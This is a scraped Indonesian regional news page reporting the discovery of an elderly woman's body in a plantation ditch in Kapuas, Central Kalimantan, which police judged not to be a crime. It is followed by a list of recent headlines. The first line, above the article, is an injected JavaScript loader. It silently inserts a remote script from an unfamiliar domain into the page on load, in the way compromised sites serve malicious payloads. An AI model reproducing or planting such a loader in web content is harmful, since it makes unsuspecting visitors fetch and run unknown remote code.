(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Cek Aroma Tak Sedap, Ternyata Mayat Perempuan di Parit dekat Gorong-gorong


KANALKALIMANTAN. COM, KUALA KAPUAS – Penemuan mayat perempuan tua mengagetkan warga Kecamatan Kapuas Murung, Kabupaten Kapuas, Kalteng. Perempuan bernama Tumini (60), warga Desa Bumi Rahayu G4, Kecamatan Kapuas Murung, Kabupaten Kapuas.

Mayat perempuan tua itu ditemukan di tepi jalan dekat gorong-gorong, areal perkebunan kelapa sawit PT LAK di Desa Bumi Rahayu Kecamatan Kapuas Murung, Kabupaten Kapuas pada Senin (14/12/2020) oleh seorang security PT LAK. Pertama kali mayat perempuan itu ditemukan oleh Ilham (30) yang sedang melaksanakan patroli di kawasan perkebunan kelapa sawit, pada saat itu tercium aroma tidak sedap yang sangat menyengat, setelah mendatangi sumber bau tersebut, ditemukan mayat dengan keadaan bengkak dan mulai membusuk terapung di parit persis samping gorong-gorong.

“Waktu itu saya hendak pergi patroli. Saya mencium aroma tidak sedap, melihat ke arah semak-semak, ada perempuan di parit dalam posisi telungkup,” kata Ilham.

“Saya langsung melaporkan kejadian tersebut kepada kepala regu jaga,” kata Ilham. Oleh kepala regu jaga Misnari, kemudian menghubungi warga untuk meminta tolong melihat korban yang dalam posisi telungkup.
Belakangan diketahui perempuan itu disebut warga mengalami keterbelakangan mental.

 

“Salah satu warga menghubungi keluarga korban, kemudian selanjutnya memberitahukan kepada anak korban,” tuturnya.
Keterangan anak korban, bahwa korban hilang sejak Jumat 11desember 2020 lalu.

Penemuan mayat korban ini kemudian dilaporkan ke Polsek Kapuas Murung. Atas laporan tersebut, petugas kepolisian datang.

Kapolsek Kapuas Murung Iptu Jimin menjelaskan, petugas Polsek Kapuas Murung langsung bergerak ke lokasi begitu mendapat laporan. Petugas sudah melakukan olah TKP serta mengidentifikasi korban.

“Telah diketahui identitasnya, jenazah tidak perlu dilakukan proses visum, anak korban bersedia membuat surat pernyataan, mengingat korban meninggal bukan karena adanya unsur pidana,” jelas Iptu Jimin, Kapolsek Kapuas Murung. (kanalkalimantan.com/ags)

Reporter : Ags
Editor : Bie

 


Al Ghifari

Recent Posts

Pansus III DPRD Kotabaru Pelajari Tata Kelola Air Tangerang

KANALKALIMANTAN.COM, KOTABARU - Dalam rangka pembahasan Rancangan Peraturan Daerah (Raperda) tentang Pengelolaan Sumber Daya Air,… Read More

2 jam ago

Kuasa Hukum Keluarga Juwita Siap Tambah Barang Bukti dan Saksi

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum keluarga Juwita berencana menambah barang bukti dan saksi tambahan… Read More

3 jam ago

Peringati Hari Malaria Sedunia, Ini Pesan Wabup Banjar

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi membuka pertemuan koordinasi lintas sektor… Read More

4 jam ago

Tim Kuasa Hukum Keluarga Juwita Soroti Dua Pasal Dakwaan

KANALKALIMANTAN.COM, BANJARBARU - Advokasi Untuk Keadilan (AUK) Juwita mendampingi pihak keluarga menghadiri proses pelimpahan perkara… Read More

9 jam ago

Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer

KANALKALIMANTAN.COM, BANJARBARU - Oditurat Militer (Odmil) III-15 Banjarmasin melimpahlan perkara kasus pembunuhan berencana yang dilakukan… Read More

12 jam ago

Disogok, Tiga Polisi Polres Samarinda ‘Bebaskan’ Tahanan Nyabu di Sel

KANALKALIMANTAN.COM, SAMARINDA – Tiga oknum polisi diduga membiarkan narkoba masuk ke ruang tahanan Mapolres Samarinda,… Read More

12 jam ago